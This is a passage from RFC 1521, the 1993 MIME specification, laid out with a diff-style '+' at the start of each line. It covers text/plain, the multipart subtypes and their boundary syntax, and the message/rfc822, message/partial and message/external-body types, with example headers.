ISO-8859 family of + character sets, is a superset of US-ASCII. More generally, if a + widely-used character set is a subset of another character set, and a + body contains only characters in the widely-used subset, it must be + labeled as being in that subset. This will increase the chances that + the recipient will be able to view the mail correctly. + + + +Borenstein & Freed [Page 27] + +RFC 1521 MIME September 1993 + + +7.1.2. The Text/plain subtype + + The primary subtype of text is "plain". This indicates plain + (unformatted) text. The default Content-Type for Internet mail, + "text/plain; charset=us-ascii", describes existing Internet practice. + That is, it is the type of body defined by RFC 822. + + No other text subtype is defined by this document. + + The formal grammar for the content-type header field for text is as + follows: + + text-type := "text" "/" text-subtype [";" "charset" "=" charset] + + text-subtype := "plain" / extension-token + + charset := "us-ascii"/ "iso-8859-1"/ "iso-8859-2"/ "iso-8859-3" + / "iso-8859-4"/ "iso-8859-5"/ "iso-8859-6"/ "iso-8859-7" + / "iso-8859-8" / "iso-8859-9" / extension-token + ; case insensitive + +7.2. The Multipart Content-Type + + In the case of multiple part entities, in which one or more different + sets of data are combined in a single body, a "multipart" Content- + Type field must appear in the entity's header. The body must then + contain one or more "body parts," each preceded by an encapsulation + boundary, and the last one followed by a closing boundary. Each part + starts with an encapsulation boundary, and then contains a body part + consisting of header area, a blank line, and a body area. Thus a + body part is similar to an RFC 822 message in syntax, but different + in meaning. + + A body part is NOT to be interpreted as actually being an RFC 822 + message. To begin with, NO header fields are actually required in + body parts. A body part that starts with a blank line, therefore, is + allowed and is a body part for which all default values are to be + assumed. In such a case, the absence of a Content-Type header field + implies that the corresponding body is plain US-ASCII text. The only + header fields that have defined meaning for body parts are those the + names of which begin with "Content-". All other header fields are + generally to be ignored in body parts. Although they should + generally be retained in mail processing, they may be discarded by + gateways if necessary. Such other fields are permitted to appear in + body parts but must not be depended on. "X-" fields may be created + for experimental or private purposes, with the recognition that the + information they contain may be lost at some gateways. + + + + +Borenstein & Freed [Page 28] + +RFC 1521 MIME September 1993 + + + NOTE: The distinction between an RFC 822 message and a body part + is subtle, but important. A gateway between Internet and X.400 + mail, for example, must be able to tell the difference between a + body part that contains an image and a body part that contains an + encapsulated message, the body of which is an image. In order to + represent the latter, the body part must have "Content-Type: + message", and its body (after the blank line) must be the + encapsulated message, with its own "Content-Type: image" header + field. The use of similar syntax facilitates the conversion of + messages to body parts, and vice versa, but the distinction + between the two must be understood by implementors. (For the + special case in which all parts actually are messages, a "digest" + subtype is also defined.) + + As stated previously, each body part is preceded by an encapsulation + boundary. The encapsulation boundary MUST NOT appear inside any of + the encapsulated parts. Thus, it is crucial that the composing agent + be able to choose and specify the unique boundary that will separate + the parts. + + All present and future subtypes of the "multipart" type must use an + identical syntax. Subtypes may differ in their semantics, and may + impose additional restrictions on syntax, but must conform to the + required syntax for the multipart type. This requirement ensures + that all conformant user agents will at least be able to recognize + and separate the parts of any multipart entity, even of an + unrecognized subtype. + + As stated in the definition of the Content-Transfer-Encoding field, + no encoding other than "7bit", "8bit", or "binary" is permitted for + entities of type "multipart". The multipart delimiters and header + fields are always represented as 7-bit ASCII in any case (though the + header fields may encode non-ASCII header text as per [RFC-1522]), + and data within the body parts can be encoded on a part-by-part + basis, with Content-Transfer-Encoding fields for each appropriate + body part. + + Mail gateways, relays, and other mail handling agents are commonly + known to alter the top-level header of an RFC 822 message. In + particular, they frequently add, remove, or reorder header fields. + Such alterations are explicitly forbidden for the body part headers + embedded in the bodies of messages of type "multipart." + +7.2.1. Multipart: The common syntax + + All subtypes of "multipart" share a common syntax, defined in this + section. A simple example of a multipart message also appears in + this section. An example of a more complex multipart message is + + + +Borenstein & Freed [Page 29] + +RFC 1521 MIME September 1993 + + + given in Appendix C. + + The Content-Type field for multipart entities requires one parameter, + "boundary", which is used to specify the encapsulation boundary. The + encapsulation boundary is defined as a line consisting entirely of + two hyphen characters ("-", decimal code 45) followed by the boundary + parameter value from the Content-Type header field. + + NOTE: The hyphens are for rough compatibility with the earlier RFC + 934 method of message encapsulation, and for ease of searching for + the boundaries in some implementations. However, it should be + noted that multipart messages are NOT completely compatible with + RFC 934 encapsulations; in particular, they do not obey RFC 934 + quoting conventions for embedded lines that begin with hyphens. + This mechanism was chosen over the RFC 934 mechanism because the + latter causes lines to grow with each level of quoting. The + combination of this growth with the fact that SMTP implementations + sometimes wrap long lines made the RFC 934 mechanism unsuitable + for use in the event that deeply-nested multipart structuring is + ever desired. + + WARNING TO IMPLEMENTORS: The grammar for parameters on the Content- + type field is such that it is often necessary to enclose the + boundaries in quotes on the Content-type line. This is not always + necessary, but never hurts. Implementors should be sure to study the + grammar carefully in order to avoid producing illegal Content-type + fields. Thus, a typical multipart Content-Type header field might + look like this: + + Content-Type: multipart/mixed; + boundary=gc0p4Jq0M2Yt08jU534c0p + + But the following is illegal: + + Content-Type: multipart/mixed; + boundary=gc0p4Jq0M:2Yt08jU534c0p + + (because of the colon) and must instead be represented as + + Content-Type: multipart/mixed; + boundary="gc0p4Jq0M:2Yt08jU534c0p" + + This indicates that the entity consists of several parts, each itself + with a structure that is syntactically identical to an RFC 822 + message, except that the header area might be completely empty, and + that the parts are each preceded by the line + + --gc0p4Jq0M:2Yt08jU534c0p + + + +Borenstein & Freed [Page 30] + +RFC 1521 MIME September 1993 + + + Note that the encapsulation boundary must occur at the beginning of a + line, i.e., following a CRLF, and that the initial CRLF is considered + to be attached to the encapsulation boundary rather than part of the + preceding part. The boundary must be followed immediately either by + another CRLF and the header fields for the next part, or by two + CRLFs, in which case there are no header fields for the next part + (and it is therefore assumed to be of Content-Type text/plain). + + NOTE: The CRLF preceding the encapsulation line is conceptually + attached to the boundary so that it is possible to have a part + that does not end with a CRLF (line break). Body parts that must + be considered to end with line breaks, therefore, must have two + CRLFs preceding the encapsulation line, the first of which is part + of the preceding body part, and the second of which is part of the + encapsulation boundary. + + Encapsulation boundaries must not appear within the encapsulations, + and must be no longer than 70 characters, not counting the two + leading hyphens. + + The encapsulation boundary following the last body part is a + distinguished delimiter that indicates that no further body parts + will follow. Such a delimiter is identical to the previous + delimiters, with the addition of two more hyphens at the end of the + line: + + --gc0p4Jq0M2Yt08jU534c0p-- + + There appears to be room for additional information prior to the + first encapsulation boundary and following the final boundary. These + areas should generally be left blank, and implementations must ignore + anything that appears before the first boundary or after the last + one. + + NOTE: These "preamble" and "epilogue" areas are generally not used + because of the lack of proper typing of these parts and the lack + of clear semantics for handling these areas at gateways, + particularly X.400 gateways. However, rather than leaving the + preamble area blank, many MIME implementations have found this to + be a convenient place to insert an explanatory note for recipients + who read the message with pre-MIME software, since such notes will + be ignored by MIME-compliant software. + + NOTE: Because encapsulation boundaries must not appear in the body + parts being encapsulated, a user agent must exercise care to + choose a unique boundary. The boundary in the example above could + have been the result of an algorithm designed to produce + boundaries with a very low probability of already existing in the + + + +Borenstein & Freed [Page 31] + +RFC 1521 MIME September 1993 + + + data to be encapsulated without having to prescan the data. + Alternate algorithms might result in more 'readable' boundaries + for a recipient with an old user agent, but would require more + attention to the possibility that the boundary might appear in the + encapsulated part. The simplest boundary possible is something + like "---", with a closing boundary of "-----". + + As a very simple example, the following multipart message has two + parts, both of them plain text, one of them explicitly typed and one + of them implicitly typed: + + From: Nathaniel Borenstein + To: Ned Freed + Subject: Sample message + MIME-Version: 1.0 + Content-type: multipart/mixed; boundary="simple + boundary" + + This is the preamble. It is to be ignored, though it + is a handy place for mail composers to include an + explanatory note to non-MIME conformant readers. + --simple boundary + + This is implicitly typed plain ASCII text. + It does NOT end with a linebreak. + --simple boundary + Content-type: text/plain; charset=us-ascii + + This is explicitly typed plain ASCII text. + It DOES end with a linebreak. + + --simple boundary-- + This is the epilogue. It is also to be ignored. + + The use of a Content-Type of multipart in a body part within another + multipart entity is explicitly allowed. In such cases, for obvious + reasons, care must be taken to ensure that each nested multipart + entity must use a different boundary delimiter. See Appendix C for an + example of nested multipart entities. + + The use of the multipart Content-Type with only a single body part + may be useful in certain contexts, and is explicitly permitted. + + The only mandatory parameter for the multipart Content-Type is the + boundary parameter, which consists of 1 to 70 characters from a set + of characters known to be very robust through email gateways, and NOT + ending with white space. (If a boundary appears to end with white + space, the white space must be presumed to have been added by a + + + +Borenstein & Freed [Page 32] + +RFC 1521 MIME September 1993 + + + gateway, and must be deleted.) It is formally specified by the + following BNF: + + boundary := 0*69 bcharsnospace + + bchars := bcharsnospace / " " + + bcharsnospace := DIGIT / ALPHA / "'" / "(" / ")" / "+" /"_" + / "," / "-" / "." / "/" / ":" / "=" / "?" + + Overall, the body of a multipart entity may be specified as + follows: + + multipart-body := preamble 1*encapsulation + close-delimiter epilogue + + encapsulation := delimiter body-part CRLF + + delimiter := "--" boundary CRLF ; taken from Content-Type field. + ; There must be no space + ; between "--" and boundary. + + close-delimiter := "--" boundary "--" CRLF ; Again, no space + by "--", + + preamble := discard-text ; to be ignored upon receipt. + + epilogue := discard-text ; to be ignored upon receipt. + + discard-text := *(*text CRLF) + + body-part := <"message" as defined in RFC 822, + with all header fields optional, and with the + specified delimiter not occurring anywhere in + the message body, either on a line by itself + or as a substring anywhere. Note that the + semantics of a part differ from the semantics + of a message, as described in the text.> + + NOTE: In certain transport enclaves, RFC 822 restrictions such as + the one that limits bodies to printable ASCII characters may not + be in force. (That is, the transport domains may resemble + standard Internet mail transport as specified in RFC821 and + assumed by RFC822, but without certain restrictions.) The + relaxation of these restrictions should be construed as locally + extending the definition of bodies, for example to include octets + outside of the ASCII range, as long as these extensions are + supported by the transport and adequately documented in the + + + +Borenstein & Freed [Page 33] + +RFC 1521 MIME September 1993 + + + Content-Transfer-Encoding header field. However, in no event are + headers (either message headers or body-part headers) allowed to + contain anything other than ASCII characters. + + NOTE: Conspicuously missing from the multipart type is a notion of + structured, related body parts. In general, it seems premature to + try to standardize interpart structure yet. It is recommended + that those wishing to provide a more structured or integrated + multipart messaging facility should define a subtype of multipart + that is syntactically identical, but that always expects the + inclusion of a distinguished part that can be used to specify the + structure and integration of the other parts, probably referring + to them by their Content-ID field. If this approach is used, + other implementations will not recognize the new subtype, but will + treat it as the primary subtype (multipart/mixed) and will thus be + able to show the user the parts that are recognized. + +7.2.2. The Multipart/mixed (primary) subtype + + The primary subtype for multipart, "mixed", is intended for use when + the body parts are independent and need to be bundled in a particular + order. Any multipart subtypes that an implementation does not + recognize must be treated as being of subtype "mixed". + +7.2.3. The Multipart/alternative subtype + + The multipart/alternative type is syntactically identical to + multipart/mixed, but the semantics are different. In particular, + each of the parts is an "alternative" version of the same + information. + + Systems should recognize that the content of the various parts are + interchangeable. Systems should choose the "best" type based on the + local environment and preferences, in some cases even through user + interaction. As with multipart/mixed, the order of body parts is + significant. In this case, the alternatives appear in an order of + increasing faithfulness to the original content. In general, the best + choice is the LAST part of a type supported by the recipient system's + local environment. + + Multipart/alternative may be used, for example, to send mail in a + fancy text format in such a way that it can easily be displayed + anywhere: + + + + + + + + +Borenstein & Freed [Page 34] + +RFC 1521 MIME September 1993 + + + From: Nathaniel Borenstein + To: Ned Freed + Subject: Formatted text mail + MIME-Version: 1.0 + Content-Type: multipart/alternative; boundary=boundary42 + + --boundary42 + + Content-Type: text/plain; charset=us-ascii + + ...plain text version of message goes here.... + --boundary42 + Content-Type: text/richtext + + .... RFC 1341 richtext version of same message goes here ... + --boundary42 + Content-Type: text/x-whatever + + .... fanciest formatted version of same message goes here + ... + --boundary42-- + + In this example, users whose mail system understood the "text/x- + whatever" format would see only the fancy version, while other users + would see only the richtext or plain text version, depending on the + capabilities of their system. + + In general, user agents that compose multipart/alternative entities + must place the body parts in increasing order of preference, that is, + with the preferred format last. For fancy text, the sending user + agent should put the plainest format first and the richest format + last. Receiving user agents should pick and display the last format + they are capable of displaying. In the case where one of the + alternatives is itself of type "multipart" and contains unrecognized + sub-parts, the user agent may choose either to show that alternative, + an earlier alternative, or both. + + NOTE: From an implementor's perspective, it might seem more + sensible to reverse this ordering, and have the plainest + alternative last. However, placing the plainest alternative first + is the friendliest possible option when multipart/alternative + entities are viewed using a non-MIME-conformant mail reader. + While this approach does impose some burden on conformant mail + readers, interoperability with older mail readers was deemed to be + more important in this case. + + It may be the case that some user agents, if they can recognize more + than one of the formats, will prefer to offer the user the choice of + + + +Borenstein & Freed [Page 35] + +RFC 1521 MIME September 1993 + + + which format to view. This makes sense, for example, if mail + includes both a nicely-formatted image version and an easily-edited + text version. What is most critical, however, is that the user not + automatically be shown multiple versions of the same data. Either + the user should be shown the last recognized version or should be + given the choice. + + NOTE ON THE SEMANTICS OF CONTENT-ID IN MULTIPART/ALTERNATIVE: Each + part of a multipart/alternative entity represents the same data, but + the mappings between the two are not necessarily without information + loss. For example, information is lost when translating ODA to + PostScript or plain text. It is recommended that each part should + have a different Content-ID value in the case where the information + content of the two parts is not identical. However, where the + information content is identical -- for example, where several parts + of type "application/external- body" specify alternate ways to access + the identical data -- the same Content-ID field value should be used, + to optimize any cacheing mechanisms that might be present on the + recipient's end. However, it is recommended that the Content-ID + values used by the parts should not be the same Content-ID value that + describes the multipart/alternative as a whole, if there is any such + Content-ID field. That is, one Content-ID value will refer to the + multipart/alternative entity, while one or more other Content-ID + values will refer to the parts inside it. + +7.2.4. The Multipart/digest subtype + + This document defines a "digest" subtype of the multipart Content- + Type. This type is syntactically identical to multipart/mixed, but + the semantics are different. In particular, in a digest, the default + Content-Type value for a body part is changed from "text/plain" to + "message/rfc822". This is done to allow a more readable digest + format that is largely compatible (except for the quoting convention) + with RFC 934. + + + + + + + + + + + + + + + + + +Borenstein & Freed [Page 36] + +RFC 1521 MIME September 1993 + + + A digest in this format might, then, look something like this: + + From: Moderator-Address + To: Recipient-List + MIME-Version: 1.0 + Subject: Internet Digest, volume 42 + Content-Type: multipart/digest; + boundary="---- next message ----" + + ------ next message ---- + + From: someone-else + Subject: my opinion + + ...body goes here ... + + ------ next message ---- + + From: someone-else-again + Subject: my different opinion + + ... another body goes here... + + ------ next message ------ + +7.2.5. The Multipart/parallel subtype + + This document defines a "parallel" subtype of the multipart Content- + Type. This type is syntactically identical to multipart/mixed, but + the semantics are different. In particular, in a parallel entity, + the order of body parts is not significant. + + A common presentation of this type is to display all of the parts + simultaneously on hardware and software that are capable of doing so. + However, composing agents should be aware that many mail readers will + lack this capability and will show the parts serially in any event. + +7.2.6. Other Multipart subtypes + + Other multipart subtypes are expected in the future. MIME + implementations must in general treat unrecognized subtypes of + multipart as being equivalent to "multipart/mixed". + + The formal grammar for content-type header fields for multipart data + is given by: + + multipart-type := "multipart" "/" multipart-subtype + ";" "boundary" "=" boundary + + + +Borenstein & Freed [Page 37] + +RFC 1521 MIME September 1993 + + + multipart-subtype := "mixed" / "parallel" / "digest" + / "alternative" / extension-token + +7.3. The Message Content-Type + + It is frequently desirable, in sending mail, to encapsulate another + mail message. For this common operation, a special Content-Type, + "message", is defined. The primary subtype, message/rfc822, has no + required parameters in the Content-Type field. Additional subtypes, + "partial" and "External-body", do have required parameters. These + subtypes are explained below. + + NOTE: It has been suggested that subtypes of message might be + defined for forwarded or rejected messages. However, forwarded + and rejected messages can be handled as multipart messages in + which the first part contains any control or descriptive + information, and a second part, of type message/rfc822, is the + forwarded or rejected message. Composing rejection and forwarding + messages in this manner will preserve the type information on the + original message and allow it to be correctly presented to the + recipient, and hence is strongly encouraged. + + As stated in the definition of the Content-Transfer-Encoding field, + no encoding other than "7bit", "8bit", or "binary" is permitted for + messages or parts of type "message". Even stronger restrictions + apply to the subtypes "message/partial" and "message/external-body", + as specified below. The message header fields are always US-ASCII in + any case, and data within the body can still be encoded, in which + case the Content-Transfer-Encoding header field in the encapsulated + message will reflect this. Non-ASCII text in the headers of an + encapsulated message can be specified using the mechanisms described + in [RFC-1522]. + + Mail gateways, relays, and other mail handling agents are commonly + known to alter the top-level header of an RFC 822 message. In + particular, they frequently add, remove, or reorder header fields. + Such alterations are explicitly forbidden for the encapsulated + headers embedded in the bodies of messages of type "message." + +7.3.1. The Message/rfc822 (primary) subtype + + A Content-Type of "message/rfc822" indicates that the body contains + an encapsulated message, with the syntax of an RFC 822 message. + However, unlike top-level RFC 822 messages, it is not required that + each message/rfc822 body must include a "From", "Subject", and at + least one destination header. + + It should be noted that, despite the use of the numbers "822", a + + + +Borenstein & Freed [Page 38] + +RFC 1521 MIME September 1993 + + + message/rfc822 entity can include enhanced information as defined in + this document. In other words, a message/rfc822 message may be a + MIME message. + +7.3.2. The Message/Partial subtype + + A subtype of message, "partial", is defined in order to allow large + objects to be delivered as several separate pieces of mail and + automatically reassembled by the receiving user agent. (The concept + is similar to IP fragmentation/reassembly in the basic Internet + Protocols.) This mechanism can be used when intermediate transport + agents limit the size of individual messages that can be sent. + Content-Type "message/partial" thus indicates that the body contains + a fragment of a larger message. + + Three parameters must be specified in the Content-Type field of type + message/partial: The first, "id", is a unique identifier, as close to + a world-unique identifier as possible, to be used to match the parts + together. (In general, the identifier is essentially a message-id; + if placed in double quotes, it can be any message-id, in accordance + with the BNF for "parameter" given earlier in this specification.) + The second, "number", an integer, is the part number, which indicates + where this part fits into the sequence of fragments. The third, + "total", another integer, is the total number of parts. This third + subfield is required on the final part, and is optional (though + encouraged) on the earlier parts. Note also that these parameters + may be given in any order. + + Thus, part 2 of a 3-part message may have either of the following + header fields: + + Content-Type: Message/Partial; + number=2; total=3; + id="oc=jpbe0M2Yt4s@thumper.bellcore.com" + + Content-Type: Message/Partial; + id="oc=jpbe0M2Yt4s@thumper.bellcore.com"; + number=2 + + But part 3 MUST specify the total number of parts: + + Content-Type: Message/Partial; + number=3; total=3; + id="oc=jpbe0M2Yt4s@thumper.bellcore.com" + + Note that part numbering begins with 1, not 0. + + When the parts of a message broken up in this manner are put + + + +Borenstein & Freed [Page 39] + +RFC 1521 MIME September 1993 + + + together, the result is a complete MIME entity, which may have its + own Content-Type header field, and thus may contain any other data + type. + + Message fragmentation and reassembly: The semantics of a reassembled + partial message must be those of the "inner" message, rather than of + a message containing the inner message. This makes it possible, for + example, to send a large audio message as several partial messages, + and still have it appear to the recipient as a simple audio message + rather than as an encapsulated message containing an audio message. + That is, the encapsulation of the message is considered to be + "transparent". + + When generating and reassembling the parts of a message/partial + message, the headers of the encapsulated message must be merged with + the headers of the enclosing entities. In this process the following + rules must be observed: + + (1) All of the header fields from the initial enclosing entity + (part one), except those that start with "Content-" and the + specific header fields "Message-ID", "Encrypted", and "MIME- + Version", must be copied, in order, to the new message. + + (2) Only those header fields in the enclosed message which start + with "Content-" and "Message-ID", "Encrypted", and "MIME-Version" + must be appended, in order, to the header fields of the new + message. Any header fields in the enclosed message which do not + start with "Content-" (except for "Message-ID", "Encrypted", and + "MIME-Version") will be ignored. + + (3) All of the header fields from the second and any subsequent + messages will be ignored. + + For example, if an audio message is broken into two parts, the first + part might look something like this: + + X-Weird-Header-1: Foo + From: Bill@host.com + To: joe@otherhost.com + Subject: Audio mail + Message-ID: + MIME-Version: 1.0 + Content-type: message/partial; + id="ABC@host.com"; + number=1; total=2 + + X-Weird-Header-1: Bar + X-Weird-Header-2: Hello + + + +Borenstein & Freed [Page 40] + +RFC 1521 MIME September 1993 + + + Message-ID: + MIME-Version: 1.0 + Content-type: audio/basic + Content-transfer-encoding: base64 + + ... first half of encoded audio data goes here... + + and the second half might look something like this: + + From: Bill@host.com + To: joe@otherhost.com + Subject: Audio mail + MIME-Version: 1.0 + Message-ID: + Content-type: message/partial; + id="ABC@host.com"; number=2; total=2 + + ... second half of encoded audio data goes here... + + Then, when the fragmented message is reassembled, the resulting + message to be displayed to the user should look something like this: + + X-Weird-Header-1: Foo + From: Bill@host.com + To: joe@otherhost.com + Subject: Audio mail + Message-ID: + MIME-Version: 1.0 + Content-type: audio/basic + Content-transfer-encoding: base64 + + ... first half of encoded audio data goes here... + ... second half of encoded audio data goes here... + + Note on encoding of MIME entities encapsulated inside message/partial + entities: Because data of type "message" may never be encoded in + base64 or quoted-printable, a problem might arise if message/partial + entities are constructed in an environment that supports binary or + 8-bit transport. The problem is that the binary data would be split + into multiple message/partial objects, each of them requiring binary + transport. If such objects were encountered at a gateway into a 7- + bit transport environment, there would be no way to properly encode + them for the 7-bit world, aside from waiting for all of the parts, + reassembling the message, and then encoding the reassembled data in + base64 or quoted-printable. Since it is possible that different + parts might go through different gateways, even this is not an + acceptable solution. For this reason, it is specified that MIME + entities of type message/partial must always have a content- + + + +Borenstein & Freed [Page 41] + +RFC 1521 MIME September 1993 + + + transfer-encoding of 7-bit (the default). In particular, even in + environments that support binary or 8-bit transport, the use of a + content-transfer-encoding of "8bit" or "binary" is explicitly + prohibited for entities of type message/partial. + + It should be noted that, because some message transfer agents may + choose to automatically fragment large messages, and because such + agents may use different fragmentation thresholds, it is possible + that the pieces of a partial message, upon reassembly, may prove + themselves to comprise a partial message. This is explicitly + permitted. + + It should also be noted that the inclusion of a "References" field in + the headers of the second and subsequent pieces of a fragmented + message that references the Message-Id on the previous piece may be + of benefit to mail readers that understand and track references. + However, the generation of such "References" fields is entirely + optional. + + Finally, it should be noted that the "Encrypted" header field has + been made obsolete by Privacy Enhanced Messaging (PEM), but the rules + above are believed to describe the correct way to treat it if it is + encountered in the context of conversion to and from message/partial + fragments. + +7.3.3. The Message/External-Body subtype + + The external-body subtype indicates that the actual body data are not + included, but merely referenced. In this case, the parameters + describe a mechanism for accessing the external data. + + When an entity is of type "message/external-body", it consists of a + header, two consecutive CRLFs, and the message header for the + encapsulated message. If another pair of consecutive CRLFs appears, + this of course ends the message header for the encapsulated message. + However, since the encapsulated message's body is itself external, it + does NOT appear in the area that follows. For example, consider the + following message: + + Content-type: message/external-body; access- + type=local-file; + + name="/u/nsb/Me.gif" + + Content-type: image/gif + Content-ID: + Content-Transfer-Encoding: binary + + + + +Borenstein & Freed [Page 42] + +RFC 1521 MIME September 1993 + + + THIS IS NOT REALLY THE BODY! + + The area at the end, which might be called the "phantom body", is + ignored for most external-body messages. However, it may be used to + contain auxiliary information for some such messages, as indeed it is + when the access-type is "mail-server". Of the access-types defined + by this document, the phantom body is used only when the access-type + is "mail-server". In all other cases, the phantom body is ignored. + + The only always-mandatory parameter for message/external-body is + "access-type"; all of the other parameters may be mandatory or + optional depending on the value of access-type. + + ACCESS-TYPE -- A case-insensitive word, indicating the supported + access mechanism by which the file or data may be obtained. + Values include, but are not limited to, "FTP", "ANON-FTP", "TFTP", + "AFS", "LOCAL-FILE", and "MAIL-SERVER". Future values, except for + experimental values beginning with "X-" must be registered with + IANA, as described in Appendix E . + + In addition, the following three parameters are optional for ALL + access-types: + + EXPIRATION -- The date (in the RFC 822 "date-time" syntax, as + extended by RFC 1123 to permit 4 digits in the year field) after + which the existence of the external data is not guaranteed. + + SIZE -- The size (in octets) of the data. The intent of this + parameter is to help the recipient decide whether or not to expend + the necessary resources to retrieve the external data. Note that + this describes the size of the data in its canonical form, that + is, before any Content- Transfer-Encoding has been applied or + after the data have been decoded. + + PERMISSION -- A case-insensitive field that indicates whether or + not it is expected that clients might also attempt to overwrite + the data. By default, or if permission is "read", the assumption + is that they are not, and that if the data is retrieved once, it + is never needed again. If PERMISSION is "read-write", this + assumption is invalid, and any local copy must be considered no + more than a cache. "Read" and "Read-write" are the only defined + values of permission. + + The precise semantics of the access-types defined here are described + in the sections that follow. + + The encapsulated headers in ALL message/external-body entities MUST + include a Content-ID header field to give a unique identifier by + + + +Borenstein & Freed [Page 43] + +RFC 1521 MIME September 1993 + + + which to reference the data. This identifier may be used for + cacheing mechanisms, and for recognizing the receipt of the data when + the access-type is "mail-server". + + Note that, as specified here, the tokens that describe external-body + data, such as file names and mail server commands, are required to be + in the US-ASCII character set. If this proves problematic in + practice, a new mechanism may be required as a future extension to + MIME, either as newly defined access-types for message/external-body + or by some other mechanism. + + As with message/partial, it is specified that MIME entities of type + message/external-body must always have a content-transfer-encoding of + 7-bit (the default). In particular, even in environments that + support binary or 8-bit transport, the use of a content-transfer- + encoding of "8bit" or "binary" is explicitly prohibited for entities + of type message/external-body. + +7.3.3.1. The "ftp" and "tftp" access-types + + An access-type of FTP or TFTP indicates that the message body is + accessible as a file using the FTP [RFC-959] or TFTP [RFC-783] + protocols, respectively. For these access-types, the following + additional parameters are mandatory: + + NAME -- The name of the file that contains the actual body data. + + SITE -- A machine from which the file may be obtained, using the + given protocol. This must be a fully qualified domain name, not a + nickname. + + Before any data are retrieved, using FTP, the user will generally + need to be asked to provide a login id and a password for the machine + named by the site parameter. For security reasons, such an id and + password are not specified as content-type parameters, but must be + obtained from the user. + + In addition, the following parameters are optional: + + DIRECTORY -- A directory from which the data named by NAME should + be retrieved. + + MODE -- A case-insensitive string indicating the mode to be used + when retrieving the information. The legal values for access-type + "TFTP" are "NETASCII", "OCTET", and "MAIL", as specified by the + TFTP protocol [RFC-783]. The legal values for access-type "FTP" + are "ASCII", "EBCDIC", "IMAGE", and "LOCALn" where "n" is a + decimal integer, typically 8. These correspond to the + + + +Borenstein & Freed [Page 44] + +RFC 1521 MIME September 1993 + + + representation types "A" "E" "I" and "L n" as specified by the FTP + protocol [RFC-959]. Note that "BINARY" and "TENEX" are not valid + values for MODE, but that "OCTET" or "IMAGE" or "LOCAL8" should be + used instead. IF MODE is not specified, the default value is + "NETASCII" for TFTP and "ASCII" otherwise. + +7.3.3.2. The "anon-ftp" access-type + + The "anon-ftp" access-type is identical to the "ftp" access type, + except that the user need not be asked to provide a name and password + for the specified site. Instead, the ftp protocol will be used with + login "anonymous" and a password that corresponds to the user's email + address. + +7.3.3.3. The "local-file" and "afs" access-types + + An access-type of "local-file" indicates that the actual body is + accessible as a file on the local machine. An access-type of "afs" + indicates that the file is accessible via the global AFS file system. + In both cases, only a single parameter is required: + + NAME -- The name of the file that contains the actual body data. + + The following optional parameter may be used to describe the locality + of reference for the data, that is, the site or sites at which the + file is expected to be visible: + + SITE -- A domain specifier for a machine or set of machines that + are known to have access to the data file. Asterisks may be used + for wildcard matching to a part of a domain name, such as + "*.bellcore.com", to indicate a set of machines on which the data + should be directly visible, while a single asterisk may be used to + indicate a file that is expected to be universally available, + e.g., via a global file system. + +7.3.3.4. The "mail-server" access-type + + The "mail-server" access-type indicates that the actual body is + available from a mail server. The mandatory parameter for this + access-type is: + + SERVER -- The email address of the mail server from which the + actual body data can be obtained. + + Because mail servers accept a variety of syntaxes, some of which is + multiline, the full command to be sent to a mail server is not + included as a parameter on the content-type line. Instead, it is + provided as the "phantom body" when the content-type is + + + +Borenstein & Freed [Page 45] + +RFC 1521 MIME September 1993 + + + message/external-body and the access- type is mail-server. + + An optional parameter for this access-type is: + + SUBJECT -- The subject that is to be used in the mail that is sent + to obtain the data. Note that keying mail servers on Subject lines + is NOT recommended, but such mail servers are known to exist. + + Note that MIME does not define a mail server syntax. Rather, it + allows the inclusion of arbitrary mail server commands in the phantom + body. Implementations must include the phantom body in the body of + the message it sends to the mail server address to retrieve the + relevant data. + + It is worth noting that, unlike other access-types, mail-server + access is asynchronous and will happen at an unpredictable time in + the future. For this reason, it is important that there be a + mechanism by which the returned data can be matched up with the + original message/external-body entity. MIME mailservers must use the + same Content-ID field on the returned message that was used in the + original message/external-body entity, to facilitate such matching. + +7.3.3.5. Examples and Further Explanations + + With the emerging possibility of very wide-area file systems, it + becomes very hard to know in advance the set of machines where a file + will and will not be accessible directly from the file system. + Therefore it may make sense to provide both a file name, to be tried + directly, and the name of one or more sites from which the file is + known to be accessible. An implementation can try to retrieve remote + files using FTP or any other protocol, using anonymous file retrieval + or prompting the user for the necessary name and password. If an + external body is accessible via multiple mechanisms, the sender may + include multiple parts of type message/external-body within an entity + of type multipart/alternative. + + However, the external-body mechanism is not intended to be limited to + file retrieval, as shown by the mail-server access-type. Beyond + this, one can imagine, for example, using a video server for external + references to video clips. + + If an entity is of type "message/external-body", then the body of the + entity will contain the header fields of the encapsulated message. + The body itself is to be found in the external location. This means + that if the body of the "message/external-body" message contains two + consecutive CRLFs, everything after those pairs is NOT part of the + message itself. For most message/external-body messages, this + trailing area must simply be ignored. However, it is a convenient + + + +Borenstein & Freed [Page 46] + +RFC 1521 MIME September 1993 + + + place for additional data that cannot be included in the content-type + header field. In particular, if the "access-type" value is "mail- + server", then the trailing area must contain commands to be sent to + the mail server at the address given by the value of the SERVER + parameter. + + The embedded message header fields which appear in the body of the + message/external-body data must be used to declare the Content-type + of the external body if it is anything other than plain ASCII text, + since the external body does not have a header section to declare its + type. Similarly, any Content-transfer-encoding other than "7bit" + must also be declared here. Thus a complete message/external-body + message, referring to a document in PostScript format, might look + like this: + + From: Whomever + To: Someone + Subject: whatever + MIME-Version: 1.0 + Message-ID: + Content-Type: multipart/alternative; boundary=42 + Content-ID: + + --42 + Content-Type: message/external-body; + name="BodyFormats.ps"; + site="thumper.bellcore.com"; + access-type=ANON-FTP; + directory="pub"; + mode="image"; + expiration="Fri, 14 Jun 1991 19:13:14 -0400 (EDT)" + + Content-type: application/postscript + Content-ID: + + --42 + Content-Type: message/external-body; + name="/u/nsb/writing/rfcs/RFC-MIME.ps"; + site="thumper.bellcore.com"; + access-type=AFS + expiration="Fri, 14 Jun 1991 19:13:14 -0400 (EDT)" + + Content-type: application/postscript + Content-ID: + + --42 + Content-Type: message/external-body; + access-type=mail-server + + + +Borenstein & Freed [Page 47] + +RFC 1521 MIME September 1993 + + + server="listserv@bogus.bitnet"; + expiration="Fri, 14 Jun 1991 19:13:14 -0400 (EDT)" + + Content-type: application/postscript + Content-ID: + + get RFC-MIME.DOC + + --42-- + + Note that in the above examples, the default Content-transfer- + encoding of "7bit" is assumed for the external postscript data. + + Like the message/partial type, the message/external-body type is + intended to be transparent, that is, to convey the data type in the + external body rather than to convey a message with a body of that + type. Thus the headers on the outer and inner parts must be merged + using the same rules as for message/partial. In particular, this + means that the Content-type header is overridden, but the From and + Subject headers are preserved. + + Note that since the external bodies are not transported as mail, they + need not conform to the 7-bit and line length requirements, but might + in fact be binary files. Thus a 